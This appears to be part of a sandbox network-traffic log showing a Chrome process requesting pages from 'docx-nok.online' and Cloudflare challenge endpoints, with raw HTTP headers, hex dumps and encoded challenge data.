2024-04-19 15:01:43 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:43 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:43 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 876dc5857ca5b0a6-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:43 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.18	49703	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:43 UTC	858	OUT	GET /favicon.ico HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://docx-nok.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:44 UTC	1290	IN	HTTP/1.1 403 Forbidden Date: Fri, 19 Apr 2024 15:01:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16759 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN cf-mitigated: challenge cf-chl-out: 15Enk7O1BuoxkVxqfX9lSIdeCrGSBRS/0pa5W14lKqU5ZaegUiSUnsHFmQ5MKvxBFRRKFq+L4Pb9ADjFs1wtSKFJ2nstrZiDELQ5TRfQK8p5D4zIAK9zLYWan1hnEa8G9z1SPJowvAyQtOpBoXBwwQ==$fU+cEkb9dYHiE3VsKHJQXQ== Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT
2024-04-19 15:01:44 UTC	405	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 38 4c 4e 47 4b 25 32 42 44 66 31 70 72 4d 4f 39 67 52 43 30 45 57 34 63 6a 44 79 74 35 56 53 6b 65 43 77 76 6f 6a 6f 51 51 74 50 55 37 72 30 49 54 4a 46 6a 54 75 49 7a 52 52 7a 56 39 55 39 45 6d 6a 38 64 49 64 79 47 57 52 6f 58 55 64 50 71 52 4d 66 41 72 38 6a 50 50 4a 6b 42 5a 49 66 6f 4a 71 30 53 53 4a 4c 46 69 4b 69 33 7a 76 68 7a 58 53 5a 7a 79 44 57 39 67 75 56 31 63 71 69 36 78 4a 25 32 42 52 6f 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8LNGK%2BDf1prMO9gRC0EW4cjDyt5VSkeCwvojoQQtPU7r0ITJFjTuIzRRzV9U9Emj8dIdyGWRoXUdPqRMfAr8jPPJkBZIfoJq0SSJLFiKi3zvhzXSZzyDW9guV1cqi6xJ%2BRo%3D"}],"group":"cf-nel","max_age":604800}
2024-04-19 15:01:44 UTC	1043	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-04-19 15:01:44 UTC	1369	IN	Data Raw: 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 67 64 6d 6c 6c 64 30 4a 76 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 74 Data Ascii: C9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJt
2024-04-19 15:01:44 UTC	1369	IN	Data Raw: 33 7d 62 6f 64 79 2e 64 61 72 6b 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 64 61 72 6b 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 62 6f 64 79 2e 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 Data Ascii: 3}body.dark .big-button,body.dark .pow-button{background-color:#4693ff;color:#1d1d1d}body.dark #challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsb
2024-04-19 15:01:44 UTC	1369	IN	Data Raw: 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 66 63 35 37 34 61 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 6c 69 67 68 74 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 6c 69 67 68 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d Data Ascii: ring div{border-color:#595959 transparent transparent}body.light .font-red{color:#fc574a}body.light .big-button,body.light .pow-button{background-color:#003681;border-color:#003681;color:#fff}body.light #challenge-success-text{background-image:url(data:im
2024-04-19 15:01:44 UTC	1369	IN	Data Raw: 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 68 65 69 67 68 74 3a 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 3b 77 69 64 74 68 3a 32 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e Data Ascii: xt-decoration:none;transition:color .15s ease}a:hover{color:#ee730a;text-decoration:underline}.main-content{margin:8rem auto;max-width:60rem;width:100%}.heading-favicon{height:2rem;margin-right:.5rem;width:2rem}@media (width <= 720px){.main-content{margin
2024-04-19 15:01:44 UTC	1369	IN	Data Raw: 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 Data Ascii: DktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);padding-left:34px}#challenge-error-text,#challenge-success-text{background-repeat:no-repeat;background-size:contain}#challenge-success-text{ba
2024-04-19 15:01:44 UTC	1369	IN	Data Raw: 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 77 69 64 74 68 3a 35 30 25 7d 2e 64 69 61 67 6e 6f 73 74 69 63 2d 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 7d 2e 66 6f 6f 74 65 72 20 2e 72 61 Data Ascii: ;width:100%}.footer-inner{border-top:1px solid #d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:"";display:table}.clearfix .column{float:left;padding-right:1.5rem;width:50%}.diagnostic-wrapper{margin-bottom:.5rem}.footer .ra
2024-04-19 15:01:44 UTC	1369	IN	Data Raw: 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 32 70 78 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 34 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 Data Ascii: ing-favicon{margin-left:.5rem;margin-right:0}.rtl #challenge-success-text{background-position:100%;padding-left:0;padding-right:42px}.rtl #challenge-error-text{background-position:100%;padding-left:0;padding-right:34px}</style><meta http-equiv="refresh" c
2024-04-19 15:01:44 UTC	1369	IN	Data Raw: 30 78 71 2e 79 78 31 41 73 56 61 55 6b 46 39 79 30 74 31 43 68 78 2e 59 69 56 68 46 57 34 5f 70 4f 72 72 4b 34 47 37 38 6c 45 2e 32 74 6c 6d 5a 69 33 79 30 64 7a 53 4c 72 78 37 37 68 62 75 35 61 49 7a 43 54 5a 65 76 64 4d 66 51 44 68 48 72 74 4c 58 33 6a 6b 32 79 69 6d 77 38 31 47 62 74 55 31 38 6f 74 74 6b 46 71 48 7a 36 4d 73 62 43 58 70 50 4b 50 31 4b 33 4a 63 57 57 6f 32 67 6d 35 5a 45 75 46 63 71 77 33 34 5f 68 61 67 4c 68 57 32 66 39 77 78 78 46 4d 50 50 31 6b 71 6b 42 73 55 63 43 50 7a 6f 72 77 6a 57 7a 75 56 6e 44 50 4c 51 37 35 59 71 39 7a 53 56 2e 56 61 53 51 6b 4b 75 76 36 45 4c 62 34 5a 55 75 4c 67 56 37 64 43 68 61 43 48 6c 4e 35 51 45 68 73 47 70 4c 6b 35 43 6c 4c 4c 6e 43 5a 35 49 58 6e 72 5a 68 6d 56 68 61 64 57 79 45 2e 6f 55 75 6f 55 31 Data Ascii: 0xq.yx1AsVaUkF9y0t1Chx.YiVhFW4_pOrrK4G78lE.2tlmZi3y0dzSLrx77hbu5aIzCTZevdMfQDhHrtLX3jk2yimw81GbtU18ottkFqHz6MsbCXpPKP1K3JcWWo2gm5ZEuFcqw34_hagLhW2f9wxxFMPP1kqkBsUcCPzorwjWzuVnDPLQ75Yq9zSV.VaSQkKuv6ELb4ZUuLgV7dChaCHlN5QEhsGpLk5ClLLnCZ5IXnrZhmVhadWyE.oUuoU1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.18	49705	104.17.3.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:44 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/2113343596:1713536042:z0Mz6ptvznMXor49lcX9vmU5GqwrNAa91JbxMzs_QqI/876dc57e0ff87bcf/86e27d6bbc5acfd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3410 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 86e27d6bbc5acfd sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:44 UTC	3410	OUT	Data Raw: 76 5f 38 37 36 64 63 35 37 65 30 66 66 38 37 62 63 66 3d 36 55 71 72 70 72 64 72 46 72 58 72 47 4f 38 32 4f 38 4e 72 4f 53 25 32 62 6d 47 76 4f 4c 38 47 38 6b 65 53 62 39 45 38 77 42 38 71 45 4c 79 54 63 38 4c 45 47 69 54 4c 7a 42 38 7a 72 62 5a 75 55 38 75 79 41 38 54 69 68 38 77 53 2b 4f 6c 36 72 4c 6d 54 77 38 4c 6d 38 6c 38 66 5a 48 7a 4d 38 38 53 68 38 68 50 38 4f 64 64 4c 4f 72 4f 79 6b 70 6b 4f 68 54 4e 38 62 6d 38 34 4f 53 47 6d 41 79 38 47 6a 47 51 4b 6f 48 57 78 6b 38 2d 42 67 6d 68 6b 58 7a 72 38 62 43 46 6b 59 31 59 24 62 64 79 32 33 48 4c 68 39 4e 6b 38 6b 38 38 47 35 7a 74 6d 72 2b 46 73 71 6f 69 75 6f 72 38 41 51 64 4b 38 4f 71 65 4d 64 54 72 38 64 48 39 59 38 38 6b 38 42 43 46 64 64 44 64 38 4c 6c 76 6c 38 54 65 6b 72 4f 77 74 77 58 68 71 Data Ascii: v_876dc57e0ff87bcf=6UqrprdrFrXrGO82O8NrOS%2bmGvOL8G8keSb9E8wB8qELyTc8LEGiTLzB8zrbZuU8uyA8Tih8wS+Ol6rLmTw8Lm8l8fZHzM88Sh8hP8OddLOrOykpkOhTN8bm84OSGmAy8GjGQKoHWxk8-BgmhkXzr8bCFkY1Y$bdy23HLh9Nk8k88G5ztmr+Fsqoiuor8AQdK8OqeMdTr8dH9Y88k8BCFddDd8Llvl8TekrOwtwXhq
2024-04-19 15:01:44 UTC	714	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:44 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: mzOq2JmKgRVeRY1UKGxA/6mTSDcJAmpezspGQLrJdwr1dKIiNMYm6+nUWQ8TpnLZPCKhoIAsigOQunWq/VAhmLYsSs4lV6t+iMeGBEWA3Da/YyZVtynmdewtljsFbkOozHlaCCQDNL4h7BQpzM/A2IryiWcLmyHei9PZmjfJfuenI2bQVfvWG2VK8Ee3jiqT+sUqe5EikWATs3XWLgdgn6Iy7ZlAvaIX1bRMBRB43sRbrvCa7M/RLJtzYDf5eAuYHRO+AhpYg1ju0I4Vpu9Z2u1Ol80gkQGbgFYcuAqvCSHie3OeDRsezWpRzN4AMNyNvCHq7RSYbL8k+PHclvxRhNBeaw0zht1afIwNmuMpKkDbzXMlfpTa5NQhqY6G8fUFNqk2NxQVm/XY31wKVUoe1Bf9bki/8fFH8Zcw7n8mEiw=$biXZnYJ2/ahZMuEPbdJKww== vary: accept-encoding Server: cloudflare CF-RAY: 876dc5869ebc4575-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:44 UTC	655	IN	Data Raw: 34 66 61 0d 0a 6d 4a 65 55 67 70 2b 37 71 61 69 64 6d 6f 71 52 70 74 57 30 6a 62 53 6d 6c 64 4f 37 75 74 79 36 7a 4b 71 63 6d 71 4f 77 76 71 2f 50 36 61 58 66 33 37 76 72 36 63 54 64 79 75 33 54 72 66 44 77 31 4e 6e 6b 75 63 37 48 33 50 33 5a 74 38 43 38 34 4d 44 30 78 64 6b 4b 36 41 7a 7a 32 67 30 49 37 64 34 52 43 76 4d 4b 46 41 33 73 42 74 6a 5a 42 4f 72 78 33 51 6a 75 32 52 72 36 38 69 55 45 42 41 67 6f 49 41 45 61 42 77 4d 52 36 66 45 6a 48 41 49 44 39 51 6b 71 47 66 45 6b 4d 50 6a 30 47 44 54 36 48 54 45 50 49 76 37 39 4a 30 55 2f 4b 41 59 4b 51 54 46 45 48 30 30 78 56 45 30 68 51 6a 67 71 4d 55 6b 50 4b 52 5a 64 58 43 46 4e 50 43 42 51 4a 6c 55 7a 4f 69 4d 30 4f 30 64 6d 57 54 39 64 5a 31 78 51 51 33 4a 68 62 47 6b 36 54 56 4d 38 56 30 74 4e 57 46 Data Ascii: 4famJeUgp+7qaidmoqRptW0jbSmldO7uty6zKqcmqOwvq/P6aXf37vr6cTdyu3TrfDw1Nnkuc7H3P3Zt8C84MD0xdkK6Azz2g0I7d4RCvMKFA3sBtjZBOrx3Qju2Rr68iUEBAgoIAEaBwMR6fEjHAID9QkqGfEkMPj0GDT6HTEPIv79J0U/KAYKQTFEH00xVE0hQjgqMUkPKRZdXCFNPCBQJlUzOiM0O0dmWT9dZ1xQQ3JhbGk6TVM8V0tNWF
2024-04-19 15:01:44 UTC	626	IN	Data Raw: 75 42 65 6e 4b 6c 68 36 61 70 6a 59 65 7a 6b 5a 78 36 75 33 64 32 74 5a 53 72 74 35 61 51 6b 37 47 2b 74 5a 71 70 75 36 33 49 76 39 44 4c 6b 73 4f 50 72 5a 62 58 31 35 48 5a 71 4d 69 72 6e 39 48 51 77 73 50 4d 6e 4e 37 61 32 74 47 34 6f 38 50 49 37 63 2f 4f 38 63 57 71 77 75 37 50 79 75 54 5a 32 66 7a 51 32 4c 62 35 77 50 4c 39 30 67 4d 45 76 4c 6b 44 2b 39 7a 65 31 41 77 45 7a 51 58 4c 38 68 48 53 43 2f 66 54 35 42 54 7a 38 42 54 54 45 42 49 66 37 78 50 33 49 43 59 53 46 43 59 56 46 4f 72 6f 48 41 38 5a 4d 41 34 52 48 51 38 67 45 53 41 6d 4e 43 4d 63 4b 78 49 6e 49 43 77 57 4b 79 51 78 47 69 38 6f 4d 68 34 7a 4c 44 63 69 4e 7a 41 79 4a 6a 73 30 50 53 6f 2f 4f 45 38 75 51 7a 78 51 52 79 38 6f 4f 6c 52 66 4d 56 51 36 4e 43 4d 7a 4f 6c 51 37 56 6b 78 6a 51 Data Ascii: uBenKlh6apjYezkZx6u3d2tZSrt5aQk7G+tZqpu63Iv9DLksOPrZbX15HZqMirn9HQwsPMnN7a2tG4o8PI7c/O8cWqwu7PyuTZ2fzQ2Lb5wPL90gMEvLkD+9ze1AwEzQXL8hHSC/fT5BTz8BTTEBIf7xP3ICYSFCYVFOroHA8ZMA4RHQ8gESAmNCMcKxInICwWKyQxGi8oMh4zLDciNzAyJjs0PSo/OE8uQzxQRy8oOlRfMVQ6NCMzOlQ7VkxjQ
2024-04-19 15:01:44 UTC	1369	IN	Data Raw: 31 35 31 62 0d 0a 52 66 63 55 4a 6f 59 33 5a 6a 62 47 64 36 59 32 6c 6d 54 32 56 66 68 6f 5a 36 62 56 74 36 6b 58 78 34 6c 70 6d 56 6d 49 2b 42 67 48 6d 47 65 58 64 68 72 59 79 49 5a 36 69 42 66 33 75 6c 6c 4a 42 77 69 6f 6d 48 68 49 65 63 6d 48 61 34 6b 59 2b 4d 74 61 53 67 66 35 71 5a 6c 35 57 58 72 4b 69 4a 79 4b 47 66 6e 63 57 30 73 4a 4b 69 69 37 47 74 6a 72 43 63 71 61 36 63 32 37 37 58 78 61 57 2b 74 4b 61 37 34 65 33 42 32 73 33 4b 33 39 2f 44 39 4d 32 77 37 65 58 32 78 38 32 35 33 4e 54 75 2f 4c 66 36 77 74 6e 6b 34 73 44 49 36 50 54 48 35 75 33 6f 31 2b 66 6d 42 75 54 67 41 42 66 73 43 77 6a 5a 38 52 73 55 32 50 55 53 47 2b 72 74 33 51 49 5a 41 53 72 35 34 77 62 33 4c 4f 7a 37 41 6a 50 36 4d 78 2f 30 39 43 38 68 4b 53 51 57 46 7a 6f 6f 51 54 66 Data Ascii: 151bRfcUJoY3ZjbGd6Y2lmT2VfhoZ6bVt6kXx4lpmVmI+BgHmGeXdhrYyIZ6iBf3ullJBwiomHhIecmHa4kY+MtaSgf5qZl5WXrKiJyKGfncW0sJKii7GtjrCcqa6c277XxaW+tKa74e3B2s3K39/D9M2w7eX2x8253NTu/Lf6wtnk4sDI6PTH5u3o1+fmBuTgABfsCwjZ8RsU2PUSG+rt3QIZASr54wb3LOz7AjP6Mx/09C8hKSQWFzooQTf
